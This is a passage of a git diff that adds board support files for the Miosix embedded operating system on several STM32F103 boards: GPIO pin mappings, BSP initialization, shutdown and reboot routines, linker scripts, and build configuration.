+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + + NVIC_SystemReset(); + for(;;) ; //Never reach here +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f103ve_mp3v2/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f103ve_mp3v2/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..2cc57b312 --- /dev/null +++ b/miosix/arch/board/stm32f103ve_mp3v2/interfaces-impl/bsp_impl.h @@ -0,0 +1,81 @@ +/*************************************************************************** + * Copyright (C) 2010 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "hwmapping.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio< PB,12> led; + +inline void ledOn() +{ + led::high(); +} + +inline void ledOff() +{ + led::low(); +} + +///\internal Pin connected to SD card detect +typedef Gpio sdCardDetect; + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + */ +inline bool sdCardSense() +{ + return sdCardDetect::value()==0; +} + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32f103ve_mp3v2/interfaces-impl/hwmapping.h b/miosix/arch/board/stm32f103ve_mp3v2/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..a2743ecc1 --- /dev/null +++ b/miosix/arch/board/stm32f103ve_mp3v2/interfaces-impl/hwmapping.h @@ -0,0 +1,191 @@ + +/*************************************************************************** + * Copyright (C) 2011 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + *************************************************************************** + * + * ***************** + * Version 1.01 beta + * 01/03/2011 + * ***************** + */ + +#ifndef HWMAPPING_H +#define HWMAPPING_H + +#ifdef _MIOSIX +#include "interfaces/gpio.h" +namespace miosix { +#else //_MIOSIX +#include "gpio.h" + +//These two functions are only available from the bootloader +/** + * Enable +3v3b and +1v8 domains, etc... + */ +void powerOn(); + +/** + * Disable +3v3b and +1v8 domains, etc... + */ +void powerOff(); + +#endif //_MIOSIX + +// +// All GPIOs are mapped here +// + +//Buttons +typedef Gpio button1; //Active low, generates irq for boot +typedef Gpio button2; //Active low + +//LED +typedef Gpio led; //Active high + +//Display interface +namespace disp { +typedef Gpio yp; //Touchscreen Y+ (analog) +typedef Gpio ym; //Touchscreen Y- (analog) +typedef Gpio xp; //Touchscreen X+ (analog, with 330ohm in series) +typedef Gpio xm; //Touchscreen X- (analog) +typedef Gpio ncpEn; //Active high +typedef Gpio d0; //Handled by hardware (FSMC) +typedef Gpio d1; //Handled by hardware (FSMC) +typedef Gpio d2; //Handled by hardware (FSMC) +typedef Gpio d3; //Handled by hardware (FSMC) +typedef Gpio d4; //Handled by hardware (FSMC) +typedef Gpio d5; //Handled by hardware (FSMC) +typedef Gpio d6; //Handled by hardware (FSMC) +typedef Gpio d7; //Handled by hardware (FSMC) +typedef Gpio d8; //Handled by hardware (FSMC) +typedef Gpio d9; //Handled by hardware (FSMC) +typedef Gpio d10; //Handled by hardware (FSMC) +typedef Gpio d11; //Handled by hardware (FSMC) +typedef Gpio d12; //Handled by hardware (FSMC) +typedef Gpio d13; //Handled by hardware (FSMC) +typedef Gpio d14; //Handled by hardware (FSMC) +typedef Gpio d15; //Handled by hardware (FSMC) +typedef Gpio rs; //Handled by hardware (FSMC) +typedef Gpio rd; //Handled by hardware (FSMC) +typedef Gpio wr; //Handled by hardware (FSMC) +typedef Gpio cs; //Handled by hardware (FSMC), 100k to +3v3a +typedef Gpio reset; //Active low +} + +//Audio DSP connections +namespace dsp { +typedef Gpio xcs; +typedef Gpio sclk; //Handled by hardware (SPI1) +typedef Gpio so; //Handled by hardware (SPI1) +typedef Gpio si; //Handled by hardware (SPI1) +typedef Gpio xreset; +typedef Gpio dreq; //Generates irq ? +typedef Gpio xdcs; +} + +//MicroSD connections +namespace sd { +typedef Gpio cardDetect; +typedef Gpio d0; //Handled by hardware (SDIO) +typedef Gpio d1; //Handled by hardware (SDIO) +typedef Gpio d2; //Handled by hardware (SDIO) +typedef Gpio d3; //Handled by hardware (SDIO) +typedef Gpio clk; //Handled by hardware (SDIO) +typedef Gpio cmd; //Handled by hardware (SDIO), 100k to +3v3b +} + +//USB connections +namespace usb { +typedef Gpio dm; //Handled by hardware (USB) D- +typedef Gpio dp; //Handled by hardware (USB) D+ +typedef Gpio detect; //1K5 pullup connected to D+ +} + +//USB Battery charger +namespace charger { +typedef Gpio done; +typedef Gpio seli; //100k to ground +} + +//Power management +namespace pwrmgmt { +typedef Gpio vcc3v3bEn; //100k to +3v3a (active low) +typedef Gpio vcc1v8En; //100k to ground +typedef Gpio vbatEn; //If low allows to measure vbat +typedef Gpio vbat; //Analog in to measure vbat +} + +//Externam FLASH +namespace xflash { +typedef Gpio cs; //100k to +3v3b +typedef Gpio sck; //Handled by hardware (SPI2) +typedef Gpio so; //Handled by hardware (SPI2) +typedef Gpio si; //Handled by hardware (SPI2) +} + +//Accelerometer +namespace accel { +typedef Gpio x; //Analog +typedef Gpio y; //Analog +typedef Gpio z; //Analog +} + +//Debug/bootloader serial port +namespace boot { +typedef Gpio detect; //BOOT1 (10k to ground) +typedef Gpio tx; //Handled by hardware (USART1) +typedef Gpio rx; //Handled by hardware (USART1) +} + +//Expansion +namespace expansion { +typedef Gpio exp0; +typedef Gpio exp1; +typedef Gpio tx2; +typedef Gpio rx2; +typedef Gpio tx3; +typedef Gpio rx3; +} + +//Unused pins +typedef Gpio pa13; +typedef Gpio pa14; +typedef Gpio pa15; +typedef Gpio pb3; +typedef Gpio pb4; +typedef Gpio pc13; +typedef Gpio pc14; //This is actually for the 32KHz xtal +typedef Gpio pc15; //This is actually for the 32KHz xtal +typedef Gpio pd12; +typedef Gpio pd13; +typedef Gpio pe6; +typedef Gpio pb8; //used to be Charger::en + +#ifdef _MIOSIX +} //namespace miosix +#endif //_MIOSIX + +#endif //HWMAPPING_H diff --git a/miosix/arch/board/stm32f103ve_mp3v2/unikernel.ld b/miosix/arch/board/stm32f103ve_mp3v2/unikernel.ld new file mode 100644 index 000000000..f89516354 --- /dev/null +++ b/miosix/arch/board/stm32f103ve_mp3v2/unikernel.ld @@ -0,0 +1,14 @@ +/* + * Linker script for stm32f103 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + /* First 10K taken up by bootloader */ + flash(rx) : ORIGIN = 0x2800, LENGTH = 512K-10K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 64K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f103ve_strive_mini/CMakeLists.txt b/miosix/arch/board/stm32f103ve_strive_mini/CMakeLists.txt new file mode 100644 index 000000000..a6fef360b --- /dev/null +++ b/miosix/arch/board/stm32f103ve_strive_mini/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32f103ve_strive_mini +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f1) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sdmmc/stm32f1_sd.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STRIVE_MINI) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STRIVE_MINI) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f103ve_strive_mini/Makefile.inc b/miosix/arch/board/stm32f103ve_strive_mini/Makefile.inc new file mode 100644 index 000000000..158e00cb2 --- /dev/null +++ b/miosix/arch/board/stm32f103ve_strive_mini/Makefile.inc @@ -0,0 +1,30 @@ +## +## Makefile for board stm32f103ve_strive_mini +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with header files for this board +CHIP_INC := arch/chip/stm32f1 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +arch/drivers/sdmmc/stm32f1_sd.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STRIVE_MINI +BOARD_CXXFLAGS := -D_BOARD_STRIVE_MINI + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f103ve_strive_mini/boot.cpp b/miosix/arch/board/stm32f103ve_strive_mini/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f103ve_strive_mini/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f103ve_strive_mini/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f103ve_strive_mini/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..3b976b7a4 --- /dev/null +++ b/miosix/arch/board/stm32f103ve_strive_mini/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,19 @@ +#pragma once + +//Always include stm32f10x.h before core_cm3.h, there's some nasty dependency +#define STM32F103xE +#include "CMSIS/Device/ST/STM32F1xx/Include/stm32f1xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F1xx/Include/system_stm32f1xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 59, so there are 60 +#define MIOSIX_NUM_PERIPHERAL_IRQ 60 diff --git a/miosix/arch/board/stm32f103ve_strive_mini/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f103ve_strive_mini/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..17774bff2 --- /dev/null +++ b/miosix/arch/board/stm32f103ve_strive_mini/interfaces-impl/bsp.cpp @@ -0,0 +1,155 @@ +/*************************************************************************** + * Copyright (C) 2010, 2011, 2012, 2013, 2104 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f1_sd.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable clocks to all ports + RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | + RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | + RCC_APB2ENR_IOPEEN | RCC_APB2ENR_AFIOEN; + RCC_SYNC(); + //Set ports + led::mode(Mode::OUTPUT); + + disp::reset::mode(Mode::OUTPUT); + disp::ncpEn::mode(Mode::OUTPUT); + + disp::d0::mode(Mode::ALTERNATE); + disp::d1::mode(Mode::ALTERNATE); + disp::d2::mode(Mode::ALTERNATE); + disp::d3::mode(Mode::ALTERNATE); + disp::d4::mode(Mode::ALTERNATE); + disp::d5::mode(Mode::ALTERNATE); + disp::d6::mode(Mode::ALTERNATE); + disp::d7::mode(Mode::ALTERNATE); + disp::d8::mode(Mode::ALTERNATE); + disp::d9::mode(Mode::ALTERNATE); + disp::d10::mode(Mode::ALTERNATE); + disp::d11::mode(Mode::ALTERNATE); + disp::d12::mode(Mode::ALTERNATE); + disp::d13::mode(Mode::ALTERNATE); + disp::d14::mode(Mode::ALTERNATE); + disp::d15::mode(Mode::ALTERNATE); + disp::rd::mode(Mode::ALTERNATE); + disp::wr::mode(Mode::ALTERNATE); + disp::cs::mode(Mode::ALTERNATE); + disp::rs::mode(Mode::ALTERNATE); + + //Chip select to serial flash: setting it to 1 + spi1::nflashss::high(); + spi1::nflashss::mode(Mode::OUTPUT); + + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole(intrusive_ref_ptr( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma))); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + + NVIC_SystemReset(); + for(;;) ; //Never reach here +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f103ve_strive_mini/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f103ve_strive_mini/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..4351ad3f7 --- /dev/null +++ b/miosix/arch/board/stm32f103ve_strive_mini/interfaces-impl/bsp_impl.h @@ -0,0 +1,81 @@ +/*************************************************************************** + * Copyright (C) 2010 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "hwmapping.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio< PB,5> led; + +inline void ledOn() +{ + led::high(); +} + +inline void ledOff() +{ + led::low(); +} + +///\internal Pin connected to SD card detect +//typedef Gpio sdCardDetect; //Using grounded pin PB2-BOOT1 - Y.K. + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + */ +inline bool sdCardSense() +{ + return true; //sdCardDetect::value()==0; +} + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32f103ve_strive_mini/interfaces-impl/hwmapping.h b/miosix/arch/board/stm32f103ve_strive_mini/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..ca395ab4c --- /dev/null +++ b/miosix/arch/board/stm32f103ve_strive_mini/interfaces-impl/hwmapping.h @@ -0,0 +1,111 @@ +/*************************************************************************** + * Copyright (C) 2011 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#ifndef HWMAPPING_H +#define HWMAPPING_H + +#include "interfaces/gpio.h" + +// +// All GPIOs are mapped here +// + +//LED +//typedef Gpio hwled; //Active high + +namespace miosix { + +//Display interface +namespace disp { +typedef Gpio ncpEn; +typedef Gpio reset; + +typedef Gpio rd; +typedef Gpio wr; + +typedef Gpio cs; +typedef Gpio rs; + +typedef Gpio d0; +typedef Gpio d1; +typedef Gpio d2; +typedef Gpio d3; +typedef Gpio d4; +typedef Gpio d5; +typedef Gpio d6; +typedef Gpio d7; +typedef Gpio d8; +typedef Gpio d9; +typedef Gpio d10; +typedef Gpio d11; +typedef Gpio d12; +typedef Gpio d13; +typedef Gpio d14; +typedef Gpio d15; +} +//MicroSD connections +namespace sd { +//typedef Gpio cardDetect; -- is absent on Strive board +typedef Gpio d0; //Handled by hardware (SDIO) +typedef Gpio d1; //Handled by hardware (SDIO) +typedef Gpio d2; //Handled by hardware (SDIO) +typedef Gpio d3; //Handled by hardware (SDIO) +typedef Gpio clk; //Handled by hardware (SDIO) +typedef Gpio cmd; //Handled by hardware (SDIO), 100k to +3v3b +} + +//USB connections +namespace usb { +typedef Gpio dm; //Handled by hardware (USB) D- +typedef Gpio dp; //Handled by hardware (USB) D+ +typedef Gpio detect; //1K pullup connected to 3.3V via bipolar PNP. + //Pull this pin down to enable detection!!! +} + +namespace spi1 { +typedef Gpio sck; +typedef Gpio miso; +typedef Gpio mosi; +typedef Gpio nflashss; //used only to select serial flash +typedef Gpio ntouchss; //used to select touch screen controller +typedef Gpio touchint; //touchscreen controller interrupt +}; + +//Debug/bootloader serial port +namespace boot { +typedef Gpio detect; //BOOT1 (10k to ground) +typedef Gpio tx; //Handled by hardware (USART1) +typedef Gpio rx; //Handled by hardware (USART1) +} + +namespace buttons { + typedef Gpio button1; +} + +} //namespace miosix + +#endif //HWMAPPING_H diff --git a/miosix/arch/board/stm32f103ve_strive_mini/unikernel.ld b/miosix/arch/board/stm32f103ve_strive_mini/unikernel.ld new file mode 100644 index 000000000..33e383b90 --- /dev/null +++ b/miosix/arch/board/stm32f103ve_strive_mini/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f103 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 64K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f103xb_generic/CMakeLists.txt b/miosix/arch/board/stm32f103xb_generic/CMakeLists.txt new file mode 100644 index 000000000..b84b10b43 --- /dev/null +++ b/miosix/arch/board/stm32f103xb_generic/CMakeLists.txt @@ -0,0 +1,35 @@ +## +## CMakeLists.txt for board stm32f103xb_generic +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f1) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # stm32f103c8 has 64K, stm32f103cb has 128K + unikernel-64k+20k.ld + unikernel-128k+20k.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel-128k+20k.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_rtc.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F103XB_GENERIC) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F103XB_GENERIC) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE stm32flash -w -v /dev/ttyUSB0) diff --git a/miosix/arch/board/stm32f103xb_generic/Makefile.inc b/miosix/arch/board/stm32f103xb_generic/Makefile.inc new file mode 100644 index 000000000..85bffc9f5 --- /dev/null +++ b/miosix/arch/board/stm32f103xb_generic/Makefile.inc @@ -0,0 +1,29 @@ +## +## Makefile for board stm32f103xb_generic +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with header files for this board +CHIP_INC := arch/chip/stm32f1 + +## Select linker script +#LINKER_SCRIPT := already selected in board options + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp \ +arch/drivers/stm32_rtc.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F103XB_GENERIC +BOARD_CXXFLAGS := -D_BOARD_STM32F103XB_GENERIC + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 diff --git a/miosix/arch/board/stm32f103xb_generic/boot.cpp b/miosix/arch/board/stm32f103xb_generic/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f103xb_generic/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f103xb_generic/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f103xb_generic/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..45dba7079 --- /dev/null +++ b/miosix/arch/board/stm32f103xb_generic/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,19 @@ +#pragma once + +//Always include stm32f10x.h before core_cm3.h, there's some nasty dependency +#define STM32F103xB +#include "CMSIS/Device/ST/STM32F1xx/Include/stm32f1xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F1xx/Include/system_stm32f1xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 42, so there are 43 +#define MIOSIX_NUM_PERIPHERAL_IRQ 43 diff --git a/miosix/arch/board/stm32f103xb_generic/interfaces-impl/bsp.cpp 